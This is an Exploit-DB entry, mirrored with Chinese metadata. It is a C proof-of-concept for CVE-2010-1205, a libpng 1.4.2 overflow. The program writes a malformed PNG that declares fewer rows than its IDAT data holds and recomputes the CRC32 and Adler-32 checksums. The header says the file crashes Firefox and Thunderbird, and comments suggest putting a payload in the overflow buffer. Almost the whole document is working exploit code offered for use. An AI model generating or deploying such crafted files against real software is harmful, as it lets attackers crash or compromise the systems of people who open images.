libpng 1.4.2 – Denial of Service

  • 作者: kripthor
    日期: 2010-07-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/14422/
  • /*
     Exploit Title: libpng <= 1.4.2 DoS
     Date:July 20, 2010
     Author:kripthor
     Software Link: http://www.libpng.org/pub/png/libpng.html
     Version: all products that use libpng <= 1.4.2 
     Tested on: Windows XP Pro SP3 Eng / Ubuntu 10 
     CVE :				CVE-2010-1205
     Notes: This crashes Firefox <= 3.6.6 and Thunderbird <= 3.0.4
    					inkscape, png2html, etc...
    					ALL products that use libpng <= 1.4.2 maybe vulnerable.
    								
     References:
    					libpng.org
    					RFC-2083
    					RFC 1950
    					RFC 1951
    */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <arpa/inet.h>
    #include <assert.h>
    #include <unistd.h>
    
    
    #define BASE 65521L /* largest prime smaller than 65536 */
    
    /*
     Update a running Adler-32 checksum with the bytes buf[0..len-1]
     and return the updated checksum. The Adler-32 checksum should be
     initialized to 1.
    
     Usage example:
    
     unsigned long adler = 1L;
    
     while (read_buffer(buffer, length) != EOF) {
     adler = update_adler32(adler, buffer, length);
     }
     if (adler != original_adler) error();
    */
    unsigned long update_adler32(unsigned long adler, unsigned char *buf, int len)
    {
    unsigned long s1 = adler & 0xffff;
    unsigned long s2 = (adler >> 16) & 0xffff;
    int n;
    
    for (n = 0; n < len; n++) {
    s1 = (s1 + buf[n]) % BASE;
    s2 = (s2 + s1) % BASE;
    }
    return (s2 << 16) + s1;
    }
    
    /* Return the adler32 of the bytes buf[0..len-1] */
    
    unsigned long adler32(unsigned char *buf, int len)
    {
    return update_adler32(1L, buf, len);
    }
    
    
    /* CRC based on implementation by Finn Yannick Jacobs */
    /* crc_tab[] -- this crcTable is being build by chksum_crc32GenTab().
     *		so make sure, you call it before using the other
     *		functions!
     */
    u_int32_t crc_tab[256];
    
    /* chksum_crc() -- to a given block, this one calculates the
     *				crc32-checksum until the length is
     *				reached. the crc32-checksum will be
     *				the result.
     */
    unsigned int chksum_crc32 (char *block, unsigned int length)
    {
     register unsigned long crc;
     unsigned long i;
    
     crc = 0xFFFFFFFF;
     for (i = 0; i < length; i++)
     {
    crc = ((crc >> 8) & 0x00FFFFFF) ^ crc_tab[(crc ^ *block++) & 0xFF];
     }
     return (crc ^ 0xFFFFFFFF);
    }
    
    /* chksum_crc32gentab() --to a global crc_tab[256], this one will
     *				calculate the crcTable for crc32-checksums.
     *				it is generated to the polynom [..]
     */
    
    void chksum_crc32gentab ()
    {
     unsigned long crc, poly;
     int i, j;
    
     poly = 0xEDB88320L;
     for (i = 0; i < 256; i++)
     {
    crc = i;
    for (j = 8; j > 0; j--)
    {
    	 if (crc & 1)
    	 {
    	crc = (crc >> 1) ^ poly;
    	 }
    	 else
    	 {
    	crc >>= 1;
    	 }
    }
    crc_tab[i] = crc;
     }
    }
    
    
    int main(void) {
    
    chksum_crc32gentab();
    
    // VALID PNG FILE BEGINS
    
    //PNG FILE SIGNATURE
    char PNG_SIGN[] = "\x89\x50\x4e\x47\x0d\x0a\x1a\x0a";
    // IHDR CHUNCK size 
    char PNG_IHDR_SIZE[] = "\x00\x00\x00\x0d";
    // IHDR CHUNCK IHDR string id
    char PNG_IHDR[] = "IHDR";
    // IMAGE WIDTH 4 bytes
    char PNG_IHDR_WIDTH[] = "\x00\x00\x00\x10";
    // IMAGE HEIGTH 4 bytes
    char PNG_IHDR_HEIGHT[] = "\x00\x00\x00\x02";
    // IMAGE ATTRS 5 bytes: bit depth, color type, compression, filter and interlace method
    char PNG_IHDR_ATTRS[] = "\x08\x06\x00\x00\x00";
    // CRC32 excluding size!
    //char PNG_IHDR_CRC32[] = "\x51\xed\x5c\xf1";
    
    // OTHER FIELDS sRGB, pHYs, tIME 
    char PNG_OTHER_FIELDS[] ="\x00\x00\x00\x01\x73\x52\x47\x42\x00\xae\xce\x1c\xe9\x00\x00\x00\x09\x70\x48\x59\x73\x00\x00\x0b\x13\x00\x00\x0b\x13\x01\x00\x9a\x9c\x18\x00\x00\x00\x07\x74\x49\x4d\x45\x07\xda\x07\x0c\x14\x1c\x38\x52\xdd\x18\x2e";
    
    // IDAT CHUNCK SIZE
    char PNG_IDAT_SIZE[] = "\x00\x00\x00\x8d";
    // IDAT CHUNCK IDAT string id
    char PNG_IDAT[] = "IDAT";
    // data in zlib format! 
    char PNG_IDAT_DATA_ZLIB_HEADER[] = "\x08\x1d\x01\x82\x00\x7d\xff";
    // zlib content, size in RGBa with no compression = height*width*4;
    //char PNG_IDAT_DATA_ZLIB_CONTENT[] = "\x01\xff\x00\x00\xff\x01\xff\x30\x00\x00\x01\xcf\x00\x2b\x2a\x2b\x00\x11\x12\x11\x00\x10\x10\x11\x00\x11\x11\x11\x00\x11\x11\x11\x00\x11\x11\x12\x00\x11\x11\x10\x00\x11\x11\x10\x00\x11\x11\x12\x00\x10\x11\x11\x00\x11\x11\x11\x00\x12\x11\x10\x00\x10\x10\x11\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x00\xff\xff\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x01\x00\xff\x00\x00\x00\x01\x00\xff\x00\x01\x00\x00\x00\xff\xff\x01\x00\x01\x01\x00\x00";
    // adler32 of zlib_content
    //char PNG_IDAT_DATA_ZLIB_ADLER32[] = "\xb1\xa6\x0d\xe5";
    
    // CRC32 excluding size!
    //char PNG_IDAT_CRC32[] = "\x88\x3b\xb3\xfe";
    
    // IEND CHUNCK
    char PNG_IEND_CHUNCK[] = "\x00\x00\x00\x00\x49\x45\x4e\x44\xae\x42\x60\x82"; 
    
    // VALID PNG FILE ENDS
    
    
    
    
    //-----------------------------------------------------------------------------------
    //---------------------------------
    // TRIGGER OVERFLOW.
    // WE ARE GOING TO CREATE A PNG WITH 2 ROWS AND MARK IT AS HAVING 1 ROW
    // OUR BUFFER CAN BE width*height*4+height in size
    
    // CHOOSE A WIDTH (crashes occur around 512 width)
    int WIDTH = 700;
    unsigned int w = htonl(WIDTH);
    memcpy(PNG_IHDR_WIDTH,&w,4);
    
    int HEIGHT = 2;
    // TRIGGER OVERFLOW REPORT HEIGHT-1 IN THE HEADER
    unsigned int h = htonl(HEIGHT-1);
    memcpy(PNG_IHDR_HEIGHT,&h,4);
    
    // USE THIS BUFFER FOR YOUR PWNSAUCE ? 
    int idat_zlib_data_size = WIDTH*HEIGHT*4+HEIGHT;
    unsigned char *buf = malloc(idat_zlib_data_size);
    memset(buf,0x41,idat_zlib_data_size);
    // USE THIS BUFFER FOR YOUR PWNSAUCE ?
    
    // FIX ZLIB HEADERS IN THE IDAT BLOCK
    short int zblock_size = (short int) idat_zlib_data_size;
    short int zblock_size_2c = -zblock_size-1;
    memcpy(PNG_IDAT_DATA_ZLIB_HEADER+3,&zblock_size,2);
    memcpy(PNG_IDAT_DATA_ZLIB_HEADER+5,&zblock_size_2c,2);
    
    unsigned int idat_new_size = htonl(idat_zlib_data_size+11);
    memcpy(PNG_IDAT_SIZE,&idat_new_size,4);
    
    //---------------------------------
    //-----------------------------------------------------------------------------------
    
    
    
    
    FILE * f;
    
    f = fopen ( "xploit.png" , "wb" );
    fwrite (PNG_SIGN , 1 , sizeof(PNG_SIGN)-1 , f );
    fwrite (PNG_IHDR_SIZE , 1 , sizeof(PNG_IHDR_SIZE)-1 , f );
    fwrite (PNG_IHDR , 1 , sizeof(PNG_IHDR)-1 , f );
    fwrite (PNG_IHDR_WIDTH , 1 , sizeof(PNG_IHDR_WIDTH)-1 , f );
    fwrite (PNG_IHDR_HEIGHT , 1 , sizeof(PNG_IHDR_HEIGHT)-1 , f );
    fwrite (PNG_IHDR_ATTRS , 1 , sizeof(PNG_IHDR_ATTRS)-1 , f );
    
    //fwrite (PNG_IHDR_CRC32 , 1 , sizeof(PNG_IHDR_CRC32)-1 , f );
    //CALCULATE NEW CRC
    int ihdr_data_size = sizeof(PNG_IHDR)-1+sizeof(PNG_IHDR_WIDTH)-1+sizeof(PNG_IHDR_HEIGHT)-1+sizeof(PNG_IHDR_ATTRS)-1;
    char* ihdr_data = malloc(ihdr_data_size);
    memcpy(ihdr_data,PNG_IHDR,sizeof(PNG_IHDR)-1);
    memcpy(ihdr_data+sizeof(PNG_IHDR)-1,PNG_IHDR_WIDTH,sizeof(PNG_IHDR_WIDTH)-1);
    memcpy(ihdr_data+sizeof(PNG_IHDR)-1+sizeof(PNG_IHDR_WIDTH)-1,PNG_IHDR_HEIGHT,sizeof(PNG_IHDR_HEIGHT)-1);
    memcpy(ihdr_data+sizeof(PNG_IHDR)-1+sizeof(PNG_IHDR_WIDTH)-1+sizeof(PNG_IHDR_HEIGHT)-1,PNG_IHDR_ATTRS,sizeof(PNG_IHDR_ATTRS)-1);
    unsigned int crc32_ihdr = htonl(chksum_crc32(ihdr_data,ihdr_data_size));
    fwrite ( &crc32_ihdr, 1 , 4 , f );
    
    fwrite (PNG_OTHER_FIELDS , 1 , sizeof(PNG_OTHER_FIELDS)-1 , f );
    
    fwrite (PNG_IDAT_SIZE , 1 , sizeof(PNG_IDAT_SIZE)-1 , f );
    fwrite (PNG_IDAT , 1 , sizeof(PNG_IDAT)-1 , f );
    fwrite (PNG_IDAT_DATA_ZLIB_HEADER , 1 , sizeof(PNG_IDAT_DATA_ZLIB_HEADER)-1 , f );
    fwrite (buf , 1 ,idat_zlib_data_size,f);
    
    //CALCULATE NEW ADLER-32 FOR ZLIB DATA
    unsigned int adler32_zlib_data = htonl(adler32(buf,idat_zlib_data_size));
    fwrite ( &adler32_zlib_data, 1 , 4 , f );
    
    
    //CALCULATE NEW CRC
    int idat_data_size = sizeof(PNG_IDAT)-1+sizeof(PNG_IDAT_DATA_ZLIB_HEADER)-1+idat_zlib_data_size+4;
    char* idat_data = malloc(idat_data_size);
    memcpy(idat_data,PNG_IDAT,sizeof(PNG_IDAT)-1);
    memcpy(idat_data+sizeof(PNG_IDAT)-1,PNG_IDAT_DATA_ZLIB_HEADER,sizeof(PNG_IDAT_DATA_ZLIB_HEADER)-1);
    memcpy(idat_data+sizeof(PNG_IDAT)-1+sizeof(PNG_IDAT_DATA_ZLIB_HEADER)-1,buf,idat_zlib_data_size);
    memcpy(idat_data+sizeof(PNG_IDAT)-1+sizeof(PNG_IDAT_DATA_ZLIB_HEADER)-1+idat_zlib_data_size,&adler32_zlib_data,4);
    unsigned int crc32_idat = htonl(chksum_crc32(idat_data,idat_data_size));
    fwrite ( &crc32_idat, 1 , 4 , f );
    
    fwrite (PNG_IEND_CHUNCK , 1 , sizeof(PNG_IEND_CHUNCK)-1 , f );
    fclose (f);
    
    //OPEN XPLOIT.PNG WITH YOUR FAVORITE BROWSER/IMAGE EDIT APP/ETC
    
    return 0;
    
    
    }